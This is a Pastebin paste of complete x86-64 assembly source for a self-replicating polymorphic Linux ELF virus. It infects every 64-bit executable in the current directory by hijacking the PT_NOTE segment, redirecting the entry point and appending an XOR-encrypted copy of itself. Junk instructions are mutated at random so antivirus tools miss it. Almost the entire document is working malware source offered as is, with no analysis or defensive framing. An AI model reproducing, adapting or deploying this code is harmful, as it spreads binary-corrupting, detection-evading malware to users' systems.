Advertisement
FlyFar

virus.asm

Jun 24th, 2024
572
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 14.29 KB | Cybersecurity | 0 0
  1.  
  2. format ELF64 executable 3
  3.  
  4. ;;; system calls
  5. SYS_WRITE = 1
  6. SYS_OPEN = 2
  7. SYS_CLOSE = 3
  8. SYS_STAT = 4
  9. SYS_FSTAT = 5
  10. SYS_LSEEK = 8
  11. SYS_MMAP = 9
  12. SYS_MPROTECT = 10
  13. SYS_MUNMAP = 11
  14. SYS_MSYNC = 26
  15. SYS_EXIT = 60
  16. SYS_UNLINK = 87
  17. SYS_GETDENTS64 = 217
  18.  
  19. ;;; offsets in useful structs
  20. ;; from struct linux_dirent64 in /usr/include/dirent.h
  21. D_RECLEN = 8 + 8                ; sizeof ino64_t + sizeof off64_t
  22. D_TYPE = 8 + 8 + 2              ; sizeof ino64_t + sizeof off64_t + sizeof unsigned short
  23. D_NAME = 8 + 8 + 3              ; sizeof ino64_t + sizeof off64_t + sizeof unsigned short + sizeof char
  24.  
  25. ;; from struct Elf64_Ehdr
  26. E_ENTRY = 16+2+2+4
  27. E_PHOFF = 16+2+2+4+8
  28. E_PHENTSIZE = 16+2+2+4+8+8+8+4+2
  29. E_PHNUM = 16+2+2+4+8+8+8+4+2+2
  30.  
  31. ;; from struct Elf64_Phdr
  32. P_TYPE = 0                      ; type: PT_NOTE, PT_LOAD, PT_DYNAMIC, etc
  33. P_FLAGS = 4
  34. P_OFFSET = 4+4
  35. P_VADDR = 4+4+8
  36. P_PADDR = 4+4+8+8
  37. P_FILESZ = 4+4+8+8+8
  38. P_MEMSZ = 4+4+8+8+8+8
  39. P_ALIGN = 4+4+8+8+8+8+8
  40.  
  41.  
  42. ;; from /usr/include/elf.h, e_ident member of Elf64_Ehdr struct
  43. EI_CLASS = 4                    ; past 4 magic bytes 0x7f, 'E', 'L', 'F'
  44. EI_PAD = 9                      ; offset of unused bytes in e_ident
  45. ;; from struct stat
  46. ST_SIZE = 48
  47.  
  48. ;;; options
  49. O_RDWR = 2
  50. O_RDONLY = 0
  51. DT_REG = 8                      ; from /usr/include/dirent.h
  52. PROT_READ = 4
  53. PROT_WRITE = 2
  54. MAP_SHARED = 1
  55. NULL = 0                        ; for clarity with mmap()
  56. MS_SYNC = 4                     ; for msync, immediately syncs the mmaped file to disk
  57. SEEK_END = 2
  58. PT_NOTE = 4
  59. PT_LOAD = 1
  60. PF_R = 4                        ; both used to set infected segment to RX
  61. PF_W = 2
  62. PF_X = 1                        ; both used to set infected segment to RX
  63.  
  64. ELFCLASS64 = 2
  65.  
  66. ;;; virus offsets
  67. DELTA_ADDRESS = 0               ; stack offset for storing delta offset (offset of virus in memory)
  68. THIS_FILE = 8                   ; stack offset for storing stat struct for this file, argv[0]
  69. OTHER_FILE = 200                ; stack offset for storing stat structs for other files
  70. NOTE_NAME  = 800                ; stack offset for storing PT_NOTE name, to ignore Go binaries
  71. DIRENTS = 1000                  ; stack offset for storing directory entries
  72. OEP = 4000                      ; original entry point of file, to jmp to at the end
  73. RJMP = 4050                     ; holds jmp from end of virus to start of file
  74.  
  75. ;;; virus constants
  76. VIRUS_STACK = 5000              ; number of stack bytes for virus activities
  77. GETDENTS_COUNT = 2048           ; number of bytes for storing directory entries
  78. VIRUS_IDENTIFIER = 0x00434f52   ; 'ROC', used to mark infected executables
  79. GOBIN_IDENTIFIER = 0x00006f47   ; Go\x00\x00, PT_NOTE name field for Go binaries
  80. VIRUS_SIZE = 931                ; size of virus code, used to check if this is gen 0
  81.  
  82.  
  83. segment readable writable executable
  84.  
  85. entry virus_start
  86.  
  87. virus_start:
  88. ;;; BEGIN DECRYPT STUB
  89.  
  90.     jmp pre_stub+4
  91. pre_stub:
  92.     dd 0xcafebeef               ; junk code, will be jumped over
  93.     mov r14, [rsp + 8]          ; save argv[0] into r14, happens to be 8 bytes from rsp
  94.     push rdx
  95.     sub rsp, VIRUS_STACK        ; allocate stack bytes for virus activities
  96.     mov r15, rsp                ; save beginning of virus stack in r15
  97.  
  98.  
  99. ;;; get delta offset to compute other offsets later
  100.  
  101.     call _delta+4                                  ; jump over junk code
  102.  
  103. _delta:
  104.     db 0x4                                         ; these can be any instructions
  105.     db 0x3                                         ; they are only here because
  106.     db 0xe9                                        ; AV can detect call+pop easily
  107.     db 0xf0
  108.     pop rbp                                     ; rbp = offset of _delta + start address
  109.  
  110.     sub rbp, _delta                             ; rbp = 0 on gen 0, addr of code afterwards
  111.     mov [r15 + DELTA_ADDRESS], rbp              ; save delta onto stack, rbp + DELTA_ADDRESS
  112.  
  113.  
  114. stub:
  115.     call run_stub
  116. key:
  117.     db 0x00                     ; null key, to not encrypt the code on gen0
  118.  
  119. run_stub:                       ; will decrypt the following code
  120.     pop r9                      ; get key to use in r9
  121.  
  122.     mov r9, [r9]                ; r9 is address of key, access key at the addr
  123.     jmp setup_decrypt+5
  124.  
  125. setup_decrypt:
  126.     dd 0x1baddeed               ; more junk code
  127.     db 0xf9
  128.     ;; xor bytes using key
  129.     mov rcx, virus_end - rest_of_code
  130.     add rcx, 5                  ; include space for jmp
  131.     mov rsi, [r15 + DELTA_ADDRESS]
  132.     add rsi, rest_of_code       ; source = start of encrypted code
  133.     mov rdi, rsi                ; destination = source, xor in place
  134.  
  135.     jmp decrypt+4
  136. decrypt:
  137.     db 0xf0, 0xbf, 0x38, 0xe9   ; more junk code instructions
  138.  
  139.     lodsb                      ; load single byte from rsi to al
  140.     ; preserve null bytes
  141.     cmp al, 0x00
  142.     jz .store
  143.     cmp al, r9b
  144.     jz .store
  145.  
  146.     ; otherwise xor
  147.     xor al, r9b
  148.   .store:
  149.     stosb                       ; store byte back at rsi
  150.     loop decrypt+4
  151.  
  152.  
  153.     xor r9, r9
  154.  
  155. ;;; END DECRYPT STUB
  156.  
  157. rest_of_code:
  158. ;;; get stat of current file
  159.     lea rsi, [r15 + THIS_FILE]          ; stack space for stat buffer
  160.     mov rdi, r14                        ; filename: argv[0]
  161.     mov rax, SYS_STAT
  162.     syscall
  163.  
  164. ;;; open current directory
  165.     push 0x2e
  166.     mov rdi, rsp                ; filename: "."
  167.     xor rsi, rsi                ; flags: 0
  168.     mov rdx, O_RDONLY           ; mode: O_RDONLY
  169.     mov rax, SYS_OPEN
  170.     syscall
  171.  
  172.     pop rdi                     ; take "." off the stack
  173.     test rax, rax
  174.     js final                    ; if we can't open directory, quit
  175.  
  176.  
  177.     jmp get_files+4
  178. get_files:
  179.     db 0xf0, 0xbf, 0x38, 0xe9   ; more junk code instructions
  180.     mov r12, rax
  181.  
  182. ;;; call getdents64
  183.  
  184.     mov rdi, r12                 ; fd for current directory
  185.     lea rsi, [rsp + DIRENTS]       ; stack space for directory entries
  186.     mov rdx, GETDENTS_COUNT
  187.     mov rax, SYS_GETDENTS64
  188.     syscall
  189.  
  190.     test rax, rax
  191.     js final
  192.  
  193.     mov qword [r15 + 990], rax  ; save number of entries to stack
  194.  
  195. ;;; close directory fd
  196.     mov rdi, r12                 ; directory fd
  197.     mov rax, SYS_CLOSE          ; close
  198.     syscall
  199.  
  200.     xor r12, r12                ; holds fd of current file
  201.     xor rcx, rcx                ; zero dirent offset before file_loop
  202.  
  203. ;;; loop through entries    
  204. file_loop:
  205.     push rcx
  206.    
  207.     ;; this is a file, so let's open it
  208.     lea rdi, [r15 + DIRENTS + rcx + D_NAME] ; filename: current file
  209.     xor rdx, rdx                         ; flags: 0
  210.     mov rsi, O_RDWR                      ; mode: RW
  211.     mov rax, SYS_OPEN
  212.     syscall
  213.  
  214.     test rax, rax
  215.     js .next_entry
  216.  
  217.     mov r12, rax                          ; save file descriptor
  218.  
  219. ;;; get stat of the file
  220.     lea rsi, [r15 + OTHER_FILE]
  221.     mov rdi, r12                          ; file descriptor
  222.     mov rax, SYS_FSTAT
  223.     syscall
  224.  
  225.     test rax, rax
  226.     js .close_file
  227.  
  228.  
  229.     ;; mmap opened file
  230.     mov r10, MAP_SHARED                   ; flags: MAP_SHARED
  231.     xor r9, r9                            ; offset 0 in fd
  232.     mov r8, r12                           ; fd
  233.     mov rdx, PROT_READ or PROT_WRITE      ; 0x4 | 0x2 = 0x6 (RW)
  234.     mov rsi, [r15 + OTHER_FILE + ST_SIZE] ; size of current file
  235.     mov rdi, NULL
  236.     mov rax, SYS_MMAP
  237.     syscall
  238.  
  239.     ;; check if MMAP succeeded
  240.     test rax, rax
  241.     js .close_file
  242.  
  243.     ;; save memory address
  244.     mov r11, rax
  245.     ;; perform checks on file
  246.    
  247.     ;; check if ELF
  248.     cmp dword [r11], 0x464c457f         ; 0x7f, 'E', 'L', 'F'
  249.     jnz .unmap_file
  250.  
  251.     ;; check if 64 bit
  252.     cmp byte [r11 + EI_CLASS], ELFCLASS64
  253.     jnz .unmap_file
  254.    
  255.     ;; unmap if identifier is present
  256.     cmp dword [r11 + EI_PAD], VIRUS_IDENTIFIER
  257.     jz .unmap_file
  258.  
  259.     ;; infect file
  260.    
  261.  
  262.     ;; search through phdr entries
  263.     xor rcx, rcx                                    ; initialize counter to zero
  264.     xor rax, rax                                    ; address of phdrs
  265.     xor r13, r13                                    ; offset of phdr, phentsize++
  266.    
  267.     mov word cx, [r11+E_PHNUM]                      ; loop counter: # of phdrs
  268.     mov rdx, [r11+E_PHOFF]                          ; rdx: offset from start of phdrs
  269.     lea rax, [r11 + rdx]                            ; rax: address of phdrs (start + e_phoff)
  270.    
  271.  
  272. .search_phdrs:
  273.     cmp dword [rax + r13 + P_TYPE], PT_NOTE
  274.     jz .patch_phdr
  275.     add r13w, word [r11+E_PHENTSIZE]                      ; increment offset by phentsize
  276.     loop .search_phdrs
  277.  
  278.     ;; exited loop without finding PT_NOTE, so just go to next file
  279.     jmp .unmap_file
  280.  
  281. .patch_phdr:
  282.  
  283.     ;; final check: unmap if this is a Go binary
  284.  
  285.     mov rdx, qword [rax + r13 + P_OFFSET]                 ; get addr
  286.     add rdx, 12                                           ; 12 is offset of PT_NOTE name
  287.    
  288.     cmp dword [r11 + rdx], GOBIN_IDENTIFIER               ;
  289.     jz .unmap_file
  290.  
  291.  
  292.     mov dword [rax + r13 + P_TYPE], PT_LOAD               ; set type to PT_LOAD
  293.     ;; mov dword [rax + r13 + P_FLAGS], PF_R or PF_X         ; set RX permissions
  294.     mov dword [rax + r13 + P_FLAGS], PF_R or PF_W or PF_X ; set RWX permissions BUG: fix this maybe?
  295.     mov dword [rax + r13 + P_ALIGN], 0x200000             ; alignment of LOAD segment
  296.  
  297.     push r12                    ; use r12 but save as it holds the fd
  298.     mov r12, [r15 + OTHER_FILE + ST_SIZE]
  299.     mov qword [rax + r13 + P_OFFSET], r12                 ; offset = original EOF
  300.  
  301.     mov qword [rax + r13 + P_VADDR], r12                  ; load virus at EOF
  302.     add qword [rax + r13 + P_VADDR], 0xd000000            ; load far from legit code
  303.     pop r12
  304.  
  305.  
  306.     add qword [rax + r13 + P_MEMSZ], virus_end - virus_start + 5    ; virus + oep jmp
  307.     add qword [rax + r13 + P_FILESZ], virus_end - virus_start + 5
  308.    
  309. .patch_ehdr:
  310.     mov dword [r11 + EI_PAD], VIRUS_IDENTIFIER      ; mark file as infected
  311.     push r12
  312.     mov r12, qword [r11+E_ENTRY]
  313.     mov qword [r15+OEP], r12                        ; save OEP for later
  314.  
  315.     mov r12, qword [rax + r13 + P_VADDR]
  316.     mov qword [r11 + E_ENTRY], r12                  ; update EP to virus code
  317.  
  318. .infect:
  319.     ;; create jmp to OEP on the stack
  320.     xor r12, r12
  321.     mov r12, qword [r15 + OEP]                      ; addr = OEP
  322.     sub r12, [rax + r13 + P_VADDR]                  ; addr = start of virus code
  323.     sub r12, virus_end - virus_start                ; addr = end of virus code
  324.     sub r12, 5                                      ; addr = end of jmp
  325.  
  326.     mov byte [r15 + RJMP], 0xe9                      ; relative jmp opcode 0xe9
  327.     mov dword [r15 + RJMP + 1], r12d                 ; relative jmp to OEP
  328.     pop r12
  329.  
  330.     ; seek to the end of the file
  331.     mov rdx, SEEK_END
  332.     xor rsi, rsi
  333.     mov rdi, r12
  334.     mov rax, SYS_LSEEK
  335.     syscall
  336.  
  337.  
  338.     ;; copy virus code to stack
  339.     sub rsp, virus_end - virus_start + 5; allocate space on the stack
  340.  
  341.     xor rax, rax
  342.     mov rdi, rsp
  343.     mov rsi, [r15 + DELTA_ADDRESS]
  344.     add rsi, virus_start             ; rsi = start of virus code
  345.     mov rcx, virus_end - virus_start ; copy code but stop at jmp
  346.  
  347.     .copy_virus_to_stack:
  348.     lodsb
  349.     stosb
  350.     loop .copy_virus_to_stack   ; simple copy loop
  351.  
  352.     ;; set up key
  353.     rdrand ax                   ; random key
  354.     add byte [rsp + key - virus_start], al
  355.     xor rbx, rbx
  356.     mov bl, byte [rsp + key - virus_start]
  357.  
  358.     ;; add jump to virus code on stack
  359.     mov r8d, dword [r15 + RJMP + 1]
  360.     mov byte [rsp + virus_end - virus_start], 0xe9 ; add e9 jmp opcode
  361.     mov dword [rsp + virus_end - virus_start + 1], r8d ; add relative jmp offset
  362.  
  363.     ;; just for fun
  364.     ;; mutate offset junk instructions
  365.     rdrand eax
  366.     mov dword [rsp + _delta - virus_start], eax
  367.  
  368.     rdrand eax
  369.     mov dword [rsp + decrypt - virus_start], eax
  370.  
  371.     rdrand eax
  372.     mov dword [rsp + get_files - virus_start], eax
  373.  
  374.     rdrand eax
  375.     mov dword [rsp + pre_stub - virus_start], eax
  376.  
  377.     rdrand eax
  378.     mov dword [rsp + setup_decrypt - virus_start], eax
  379.     mov byte [rsp + setup_decrypt - virus_start + 4], al
  380.  
  381.     ;; set up encryption loop
  382.     xor rcx, rcx
  383.     mov rcx, virus_end - rest_of_code + 5; counter: number of bytes after the stub
  384.     lea rsi, [rsp + rest_of_code - virus_start]
  385.     mov rdi, rsi
  386.  
  387.     .encrypt_virus:
  388.     lodsb
  389.     cmp al, 0x00
  390.     jz .store_two
  391.     cmp al, bl
  392.     jz .store_two
  393.  
  394.     xor al, bl
  395.  
  396.   .store_two:
  397.     stosb
  398.     loop .encrypt_virus
  399.  
  400.     ;; write virus code to end of the file
  401.     ;; polymorphic virus: use encrypted code on stack
  402.  
  403.     mov rdx, virus_end - virus_start + 5
  404.     mov rsi, rsp
  405.     mov rdi, r12
  406.     mov rax, SYS_WRITE
  407.     syscall
  408.  
  409.     add rsp, virus_end - virus_start + 5; unallocate space on the stack
  410.  
  411.  
  412.     ;; msync and munmap file
  413. .unmap_file:
  414.     xor rdx, rdx
  415.     xor rdi, rdi
  416.     xor rsi, rsi
  417.    
  418.     mov rdx, MS_SYNC
  419.     mov rsi, [r15 + OTHER_FILE + ST_SIZE]
  420.     mov rdi, r11
  421.     mov rax, SYS_MSYNC
  422.     syscall
  423.  
  424.     ; mov rsi, [r15 + OTHER_FILE + ST_SIZE] ; st_size of current file
  425.     ; mov rdi, r11                          ; address of mapped region
  426.     mov rax, SYS_MUNMAP
  427.     syscall
  428.  
  429.  
  430.     ;; close file
  431. .close_file:
  432.     mov rax, SYS_CLOSE
  433.     mov rdi, r12
  434.     syscall
  435.  
  436.  
  437. ;;; check if we are done and put offset of next entry in rcx
  438. .next_entry:
  439.     pop rcx
  440.     add cx, word [r15 + DIRENTS + rcx + D_RECLEN] ; move to next dirent structure
  441.     cmp rcx, [r15 + 990]                       ; if rcx == getdents64() return value, we are done
  442.     jne file_loop
  443.  
  444.  
  445. ;;; we're out of the file loop, run the payload
  446.    
  447.     call payload
  448. msg:
  449.     include 'art.asm'           ; include payload at this line
  450.     len = $-msg
  451.  
  452. payload:                        ; a noticeable but not invasive payload
  453.     pop rsi                     ; address of string on stack after call
  454.     mov rdx, len                ; length of string defined by fasm
  455.     mov rdi, 1                  ; we are writing to stdout
  456.     mov rax, SYS_WRITE
  457.     syscall
  458.  
  459.  
  460. ;;; cleanup
  461. final:                          ; clean up the stack and reset registers
  462.     add rsp, VIRUS_STACK
  463.     pop rdx
  464.  
  465. virus_end:                      ; on gen 0 call exit
  466.  
  467.     mov rax, 60                 ; or instead jmp to OEP if in infected file
  468.     xor rdi, rdi
  469.     ;mov rdi, 42                 ; code in this file under virus_end
  470.     syscall                     ; will only run on generation 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement